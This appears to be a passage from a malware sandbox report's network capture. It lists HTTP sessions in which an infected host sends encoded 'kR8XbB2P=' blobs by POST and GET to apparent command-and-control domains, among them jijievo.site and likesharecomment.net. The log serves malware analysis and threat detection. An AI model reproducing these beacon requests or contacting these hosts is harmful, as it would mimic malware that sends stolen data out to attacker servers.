70 73 66 4a 4f 63 54 4f 44 6a 4e 52 4f 70 32 7a 55 6c 65 6a 57 50 77 4e 38 48 77 31 71 30 38 6d 4c 4f 53 71 67 6c 77 54 53 34 4d 70 47 2f 51 4b 45 6b 6a 63 4e 66 37 72 33 6f 58 59 4d 63 6f 45 69 66 73 46 79 75 48 48 35 64 30 6d 50 49 44 4f 64 6d 45 64 7a 74 30 6b 56 6e 73 63 38 70 66 63 47 53 55 4d 4b 32 73 61 72 72 67 4b 48 6b 43 6a 68 32 4d 30 6c 6c 44 33 50 73 55 50 32 2b 47 54 35 55 56 51 31 51 4c 59 37 77 33 6d 5a 4f 4f 35 32 6e 6f 62 50 66 73 77 59 76 48 55 76 4f 44 41 48 64 56 72 71 69 72 53 4c 77 50 4c 46 6a 37 47 47 47 35 65 6f 35 75 50 [TRUNCATED] Data Ascii: kR8XbB2P=XG0+arhlWzDjPB3+o8evVYVYr1mOABqeLf4cod+yridhPVQQBBF6uOIJZ0ZEhD0IwMLQMONVzH4RGBZ0z0LzS9w5Uo+pqg/CWpk8b7ncvdUoHNaCL8YFCJY3G4sPACZ9EgnTx1RTgKXaL27mipsfJOcTODjNROp2zUlejWPwN8Hw1q08mLOSqglwTS4MpG/QKEkjcNf7r3oXYMcoEifsFyuHH5d0mPIDOdmEdzt0kVnsc8pfcGSUMK2sarrgKHkCjh2M0llD3PsUP2+GT5UVQ1QLY7w3mZOO52nobPfswYvHUvODAHdVrqirSLwPLFj7GGG5eo5uP8nZ3ZQVwMUTWhnYXSoDZCQO5S48VufWTYPYuTCxHv28KiSTZ5JfDfzUJvdISPoIWmXwAJxLvdXK0ZZY6HhSWA6V7zLvR1QAFVw5MgI1Ye2mmNG12rD0VXRzg/T5PkAfFxxCrfVh6TKmyJCYNVmP+VImPgLh3KUqLrCsrvrbhjp8F64yYKW2nCQ6N/sKZ3P62nVAi93mgSOZZO91dqMTQ9j0nTWHNWFJYD49qgyqdQNtlgTj7RBFNfNuNsWk/gVXYj/+EImSvhgurZJa6SC6s87L5uwW1PrKZj2KftHiKWPe+ESsb4IPNSdY+kmmyMICG6F+KYiYHfM+EeKZ4nr2l7EtWWXeWGTEYly3M+nMLlpVMR9WE/Ky6uvXg9aGfd5GZF7HDKfGmr3it+vJ8IEii49HpSz1qcZlwttgVX8LaWpqtn6oOjHkKlNtrhU4SJAOZ3nI/1NDNGtHnP1UzjHeEgI2KgD/kmdvw+bD1SOUe2C1UZv9z8faqsBVyG0VsyfDxWUtYh6rDNhLtGFO58ELep0b4kdDs9M0i73YkVqFfzjNbVYvr8aVtCCkBv9AdSkIoGvILQLSCfufBtouSZdNsw2X/8QZWwhzjTLaab2wGhhsNyVf/z3u19R0SyRMCpVeERwSgccrCNiKvLgktSneqmvMrRf4tUKLVo5 [TRUNCATED]
Jan 10, 2025 23:27:05.074420929 CET	3867	OUT	Data Raw: 5a 50 6e 55 4a 34 77 64 4c 55 70 71 69 38 43 54 69 77 68 6d 65 53 62 4d 50 4d 77 41 39 42 57 49 76 32 37 70 57 59 64 78 59 4b 4b 79 43 2f 2b 76 6d 6b 33 37 66 6d 63 4e 43 31 73 31 7a 31 4e 69 47 69 6a 32 4a 67 44 72 45 52 50 5a 71 6b 37 7a 4e 52 Data Ascii: ZPnUJ4wdLUpqi8CTiwhmeSbMPMwA9BWIv27pWYdxYKKyC/+vmk37fmcNC1s1z1NiGij2JgDrERPZqk7zNRHzuEY9lRETE027Mi7Ja+zXJrTK6LK9st2/Wud7SL5/j2IShrSdX8jt+TGn1fFl1u6gZz5gZydGwn8LlCmuJLzcgS7VtVMAs67Af+cJCp3gYYjOGDsVJQhAQtn1J0YNyepEvL9aNX9Ro1mNcx7FcGXOIGTEXH+/dTm
Jan 10, 2025 23:27:05.074497938 CET	1546	OUT	Data Raw: 74 72 61 67 59 77 77 47 30 6c 62 31 44 43 47 4f 48 73 48 70 41 58 53 4d 32 57 76 2f 59 4b 6d 6c 64 70 73 62 4f 71 51 4f 43 79 2b 35 76 6c 61 4e 64 32 32 4b 4b 6c 35 43 37 65 32 74 54 6f 6b 55 31 6f 37 46 44 4a 78 56 63 6e 64 78 54 64 4a 4d 2f 35 Data Ascii: tragYwwG0lb1DCGOHsHpAXSM2Wv/YKmldpsbOqQOCy+5vlaNd22KKl5C7e2tTokU1o7FDJxVcndxTdJM/5d5JlirBi0U8g1Y8rWvqcG7shnHaEVZX8ge2O9RgF291UV5TMdvof25nc39i/ymSfSyRJlmxJiIuldGfGoYBJqZeWasPpar2KGiD3wI8W1dnST1cZkr1bWYIaDw/fiKzUMTgK2PuhCiH6fcBJbQh5ZJmDhWJ3NvlNQ
Jan 10, 2025 23:27:05.268665075 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 22:27:05 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.11.20	49826	209.74.77.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:07.772687912 CET	545	OUT	GET /a6qk/?kR8XbB2P=aEceZcxMCBryYHP4s+yLRqZjj36KEl+8Dq1kpoaXpw1kPmwya2N1upoJGmxyu00sisqpLeUFyGY8IB1P90PsZa04d5WZgg6Sd94nDaj3ysE1HtnwBN18NaQ=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.learnwithus.site Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:27:07.950284958 CET	548	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 22:27:07 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.11.20	49827	154.205.159.116	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:13.316858053 CET	810	OUT	POST /ao44/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.jijievo.site Origin: http://www.jijievo.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.jijievo.site/ao44/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 4e 2b 48 32 53 6b 71 44 31 6b 55 35 35 4f 4a 2b 36 75 68 56 57 48 2f 4c 78 2b 7a 33 4b 6a 37 4e 4a 43 53 4e 57 44 75 48 53 75 57 6f 31 43 63 39 44 32 75 35 52 64 35 6c 46 68 2f 6f 67 76 65 48 45 63 76 52 73 5a 45 75 59 73 36 42 79 4b 43 69 79 46 58 51 42 36 79 53 52 6e 54 78 69 75 54 53 46 2b 78 4d 4f 50 52 70 59 33 52 53 62 35 32 41 66 6c 63 30 4c 75 55 37 79 7a 31 31 6d 7a 64 39 76 4c 6d 34 79 51 65 53 41 76 43 46 35 72 73 35 42 79 59 46 70 4b 5a 6c 72 4f 37 47 4f 30 55 33 67 42 4c 4e 56 55 4a 4e 50 69 47 4e 2b 49 65 67 6b 63 4c 43 46 4e 7a 57 59 44 2f 39 6a 77 44 63 4c 77 3d 3d Data Ascii: kR8XbB2P=N+H2SkqD1kU55OJ+6uhVWH/Lx+z3Kj7NJCSNWDuHSuWo1Cc9D2u5Rd5lFh/ogveHEcvRsZEuYs6ByKCiyFXQB6ySRnTxiuTSF+xMOPRpY3RSb52Aflc0LuU7yz11mzd9vLm4yQeSAvCF5rs5ByYFpKZlrO7GO0U3gBLNVUJNPiGN+IegkcLCFNzWYD/9jwDcLw==
Jan 10, 2025 23:27:13.719614029 CET	241	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Fri, 10 Jan 2025 22:27:13 GMT Server: nginx Vary: Accept-Encoding Content-Length: 44 Connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.11.20	49828	154.205.159.116	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:16.190345049 CET	830	OUT	POST /ao44/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.jijievo.site Origin: http://www.jijievo.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.jijievo.site/ao44/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 4e 2b 48 32 53 6b 71 44 31 6b 55 35 72 2b 5a 2b 68 4e 35 56 48 33 2f 4d 39 65 7a 33 46 44 37 52 4a 43 65 4e 57 42 66 41 54 63 79 6f 32 67 45 39 41 33 75 35 66 39 35 6c 4b 42 2f 70 2f 2f 65 36 45 63 54 6a 73 59 34 75 59 73 75 42 79 50 2b 69 79 32 2f 54 41 71 7a 30 65 48 54 7a 6d 75 54 53 46 2b 78 4d 4f 50 45 45 59 33 5a 53 62 49 47 41 4e 55 63 33 43 4f 55 34 37 54 31 31 69 7a 64 35 76 4c 6d 47 79 52 43 6f 41 74 71 46 35 75 51 35 42 6a 59 45 6a 4b 5a 5a 6d 75 36 43 4e 78 74 79 73 79 62 38 53 32 4d 58 56 44 57 35 37 65 54 36 35 75 2f 6d 47 65 76 6b 63 7a 47 56 68 79 43 48 57 35 54 31 63 73 4a 51 58 64 62 46 79 2b 49 52 68 33 37 5a 49 35 67 3d Data Ascii: kR8XbB2P=N+H2SkqD1kU5r+Z+hN5VH3/M9ez3FD7RJCeNWBfATcyo2gE9A3u5f95lKB/p//e6EcTjsY4uYsuByP+iy2/TAqz0eHTzmuTSF+xMOPEEY3ZSbIGANUc3COU47T11izd5vLmGyRCoAtqF5uQ5BjYEjKZZmu6CNxtysyb8S2MXVDW57eT65u/mGevkczGVhyCHW5T1csJQXdbFy+IRh37ZI5g=
Jan 10, 2025 23:27:16.602446079 CET	241	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Fri, 10 Jan 2025 22:27:16 GMT Server: nginx Vary: Accept-Encoding Content-Length: 44 Connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.11.20	49829	154.205.159.116	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:19.063220024 CET	2578	OUT	POST /ao44/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.jijievo.site Origin: http://www.jijievo.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.jijievo.site/ao44/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 4e 2b 48 32 53 6b 71 44 31 6b 55 35 72 2b 5a 2b 68 4e 35 56 48 33 2f 4d 39 65 7a 33 46 44 37 52 4a 43 65 4e 57 42 66 41 54 63 36 6f 32 56 59 39 43 51 36 35 63 39 35 6c 55 52 2f 53 2f 2f 65 64 45 59 48 6e 73 59 30 51 59 75 57 42 6f 71 79 69 37 6e 2f 54 4c 71 7a 30 47 33 54 32 69 75 53 53 46 2b 68 49 4f 50 55 45 59 33 5a 53 62 4b 4f 41 61 56 63 33 45 4f 55 37 79 7a 31 48 6d 7a 63 63 76 4c 76 39 79 52 58 58 41 39 4b 46 34 4f 67 35 44 52 77 45 76 4b 5a 68 68 75 36 6b 4e 78 70 35 73 79 48 61 53 32 4a 79 56 42 32 35 36 66 36 69 73 4d 72 75 45 4d 32 73 63 69 2b 66 6e 55 57 41 66 72 58 36 53 66 5a 66 52 71 69 52 35 39 63 70 31 6e 6a 5a 54 50 55 6d 6c 6a 38 4a 7a 30 76 57 43 74 64 76 70 45 61 2f 73 66 66 79 36 4c 6a 76 41 57 61 6e 36 49 6e 6e 6e 43 54 32 55 71 61 4d 44 68 74 6c 62 66 48 65 65 54 47 6d 6c 32 48 76 4b 65 79 6b 74 72 59 54 73 36 38 56 75 41 71 6a 68 66 32 76 6a 6b 70 68 77 76 6b 77 75 5a 63 51 45 48 59 51 6c 37 2b 68 69 46 6d 76 42 2f 31 69 76 32 4c 45 46 44 42 36 4e [TRUNCATED] Data Ascii: kR8XbB2P=N+H2SkqD1kU5r+Z+hN5VH3/M9ez3FD7RJCeNWBfATc6o2VY9CQ65c95lUR/S//edEYHnsY0QYuWBoqyi7n/TLqz0G3T2iuSSF+hIOPUEY3ZSbKOAaVc3EOU7yz1HmzccvLv9yRXXA9KF4Og5DRwEvKZhhu6kNxp5syHaS2JyVB256f6isMruEM2sci+fnUWAfrX6SfZfRqiR59cp1njZTPUmlj8Jz0vWCtdvpEa/sffy6LjvAWan6InnnCT2UqaMDhtlbfHeeTGml2HvKeyktrYTs68VuAqjhf2vjkphwvkwuZcQEHYQl7+hiFmvB/1iv2LEFDB6NtgE01jpmAaDPRlXLEGXHp9GnJhJRXykavrkRSrySW8RuEF8WHMS043d+R+NVwTvqUxAoUSGAfah0IKz+Ai8t696R7t/2rNniWsYrND+kFjDfLDjq0I3ad7V3qux4c2rWL07ipgA8c86k94ML9tF/DSKXk+THafOgOQeSvSal3HwZWIp8dAxWyAkCJQDYcNhKmUIG01vjnM8lr5Cfasc+CFaXkkr2u5ep0kyS7b3B84KlRXFKDjfhjRtqw5CHpuK/j7axgX1+R6OtfFUZV4FxNilx6rEZhJ9puxwwLBNqBemj9tqIqU+s1hhkuX6I9nZ22VGXCGhf6eMMJjy7rmjBYPVVwPZun+ATJZwmUELoDdTSLMmk3qNrz/R8xoyjbWimx98jxneC16Rcq26Z8F9LvwnSgm2HIRVvn2E58jUeMD+xscHwTABKx7LbIBdbwQFZHm53tumdrKovIarg8Tzw86LaYbdzPnnFdq639lF9rgKfQQL27Lnez49gDwSe/elRYwhGr0Vhh+DROQlTR5GX+h+akmURd+uj0i8kQUlrpxSzpGEbq0RvnAkj/NrAnBtGeH5fDFt2+j2iIRKoMZe98YDeAOdHLgiNhAfX24VESrQlJ7kISyhEeDmblWgLwN2NWG5cP0nMV7tGzp9BJrMqIzlkXR8Q4BOALj [TRUNCATED]
Jan 10, 2025 23:27:19.063242912 CET	5156	OUT	Data Raw: 33 73 51 34 63 49 30 6a 68 4f 2f 6d 68 4a 6d 70 46 53 43 6e 5a 57 45 57 73 35 61 73 49 4b 77 56 4e 4e 41 30 73 70 62 71 73 68 33 47 4b 54 6d 69 79 53 47 76 34 68 6a 35 49 43 4d 55 79 71 79 36 65 31 43 74 42 33 46 4d 4c 2f 56 64 4b 59 75 6a 4d 50 Data Ascii: 3sQ4cI0jhO/mhJmpFSCnZWEWs5asIKwVNNA0spbqsh3GKTmiySGv4hj5ICMUyqy6e1CtB3FML/VdKYujMP7sFIYtm1cuZuyL1af8HYEbWXiTFNlo52t4esJJJn1VVU6jU43Hlnxlyvzn8UhQg9yntsFuSkymIb8bUN1gj/eWW0DwXPkBN6jFuirs6ZPWqPAoHgzHUqqa3ej56yqF5gSiKgul8KjuNVhtQrDQR3LKZ44cSia8eR5
Jan 10, 2025 23:27:19.063316107 CET	245	OUT	Data Raw: 33 73 49 76 4c 4e 61 77 66 47 58 4d 2b 64 49 34 45 63 70 6f 66 52 31 59 69 64 31 72 6f 49 68 36 33 78 4d 34 31 49 7a 2b 35 71 49 44 61 62 77 46 64 42 6b 31 61 34 68 43 42 35 75 30 37 2b 5a 2f 43 74 35 42 6a 73 78 61 52 64 7a 4c 44 34 66 6d 43 34 Data Ascii: 3sIvLNawfGXM+dI4EcpofR1Yid1roIh63xM41Iz+5qIDabwFdBk1a4hCB5u07+Z/Ct5BjsxaRdzLD4fmC4JGEnGeifUJAPhYpZ0552HtRRodF1yAfstcBT7GEExlPX4qk/z6yidYt4GgEOnKRwlo3D4IbXwt8jtIqEd0dTY6RdTIsha1JpbrWOPrWQXIRUcRMQWTLxqSmZgF/LpV2rGH2nvKn7c70/oe2X+dHAZHOAvdbE6NlEg
Jan 10, 2025 23:27:19.478245020 CET	241	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Fri, 10 Jan 2025 22:27:19 GMT Server: nginx Vary: Accept-Encoding Content-Length: 44 Connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.20	49830	154.205.159.116	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:21.939202070 CET	541	OUT	GET /ao44/?kR8XbB2P=A8vWRSiUvmcasJ07/NpOWS/H0MqtLTroBnzJfQrGbsug5jYLYHm4CN9bVirMn9O9ScG8tIl9AuaKp46Lw3rsCpOYQ0f4st+AaewtJ/VKFlp1ZaW7QUFsLc4=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.jijievo.site Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:27:22.335947990 CET	197	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Fri, 10 Jan 2025 22:27:22 GMT Server: nginx Vary: Accept-Encoding Content-Length: 24 Connection: close Data Raw: 55 6e 61 62 6c 65 20 74 6f 20 67 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e Data Ascii: Unable to get connection

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.20	49831	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:27.484294891 CET	834	OUT	POST /nqht/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.likesharecomment.net Origin: http://www.likesharecomment.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.likesharecomment.net/nqht/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 36 34 54 75 6b 6f 45 43 55 6d 49 41 2f 62 52 44 34 4e 2f 36 5a 62 2b 42 33 39 32 2b 41 4c 6d 78 67 58 46 47 73 77 35 35 36 76 6e 48 59 76 49 6f 37 72 74 34 51 53 58 64 67 51 69 62 50 51 45 75 4e 61 52 6f 75 56 2b 36 6c 6a 47 54 79 70 59 6a 4c 57 32 61 47 52 51 70 67 50 37 4a 52 57 78 41 73 6a 6b 64 7a 52 2f 4e 68 58 76 45 65 75 7a 79 32 6c 70 73 6b 50 6f 78 53 46 55 45 6d 4d 6e 6a 35 55 53 31 43 7a 56 6e 6c 69 39 39 6a 68 4c 36 39 6c 33 56 6b 6b 2f 42 78 47 45 50 4f 4f 38 78 38 48 6b 61 38 71 73 49 32 77 6e 6b 30 61 41 57 67 39 75 53 32 67 65 4e 41 32 59 4a 53 6f 70 72 47 51 3d 3d Data Ascii: kR8XbB2P=64TukoECUmIA/bRD4N/6Zb+B392+ALmxgXFGsw556vnHYvIo7rt4QSXdgQibPQEuNaRouV+6ljGTypYjLW2aGRQpgP7JRWxAsjkdzR/NhXvEeuzy2lpskPoxSFUEmMnj5US1CzVnli99jhL69l3Vkk/BxGEPOO8x8Hka8qsI2wnk0aAWg9uS2geNA2YJSoprGQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.20	49832	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:30.139867067 CET	854	OUT	POST /nqht/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.likesharecomment.net Origin: http://www.likesharecomment.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.likesharecomment.net/nqht/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 36 34 54 75 6b 6f 45 43 55 6d 49 41 38 37 68 44 30 4f 48 36 52 62 2b 41 72 4e 32 2b 62 62 6d 31 67 58 5a 47 73 78 4d 2b 36 63 44 48 5a 4c 4d 6f 36 71 74 34 58 53 58 64 34 67 69 55 43 77 45 78 4e 61 4d 58 75 51 47 36 6c 6a 43 54 79 74 49 6a 4c 46 65 5a 48 42 51 72 6f 76 37 48 56 57 78 41 73 6a 6b 64 7a 51 61 6d 68 54 44 45 65 2b 6a 79 32 45 70 6a 73 76 6f 79 52 46 55 45 69 4d 6e 2f 35 55 53 44 43 32 4d 4d 6c 67 31 39 6a 68 37 36 36 77 62 57 75 6b 2f 62 2f 6d 45 5a 44 50 56 46 33 6c 4d 56 2f 37 55 78 32 77 6a 65 38 73 4e 4d 39 50 61 32 31 7a 43 2f 45 47 68 68 51 71 6f 77 62 63 69 50 66 37 62 75 51 36 68 69 32 51 68 46 51 35 65 6a 6a 4c 38 3d Data Ascii: kR8XbB2P=64TukoECUmIA87hD0OH6Rb+ArN2+bbm1gXZGsxM+6cDHZLMo6qt4XSXd4giUCwExNaMXuQG6ljCTytIjLFeZHBQrov7HVWxAsjkdzQamhTDEe+jy2EpjsvoyRFUEiMn/5USDC2MMlg19jh766wbWuk/b/mEZDPVF3lMV/7Ux2wje8sNM9Pa21zC/EGhhQqowbciPf7buQ6hi2QhFQ5ejjL8=
Jan 10, 2025 23:27:31.191010952 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.20	49833	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:27:32.795988083 CET	6445	OUT	POST /nqht/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.likesharecomment.net Origin: http://www.likesharecomment.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.likesharecomment.net/nqht/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 36 34 54 75 6b 6f 45 43 55 6d 49 41 38 37 68 44 30 4f 48 36 52 62 2b 41 72 4e 32 2b 62 62 6d 31 67 58 5a 47 73 78 4d 2b 36 63 4c 48 59 34 55 6f 37 4a 56 34 57 53 58 64 6d 51 6a 7a 43 77 46 72 4e 61 56 65 75 51 61 71 6c 68 71 54 7a 4b 67 6a 61 45 65 5a 4d 42 51 72 6b 50 37 4b 52 57 78 52 73 6a 30 52 7a 52 71 6d 68 54 44 45 65 38 72 79 2f 31 70 6a 71 76 6f 78 53 46 55 59 6d 4d 6e 62 35 55 4c 32 43 33 63 36 6d 51 56 39 69 46 58 36 37 43 6a 57 7a 30 2f 64 79 47 46 61 44 50 4a 61 33 6b 68 75 2f 36 51 62 32 7a 7a 65 2b 74 73 7a 76 4e 4b 49 6e 54 36 53 49 55 70 57 62 5a 39 6e 57 73 71 6e 65 4a 54 68 4f 39 30 75 30 6d 68 4a 43 37 53 2b 36 4e 4c 43 45 61 34 6d 6e 34 63 33 4e 52 2f 52 67 41 79 52 75 52 44 70 31 72 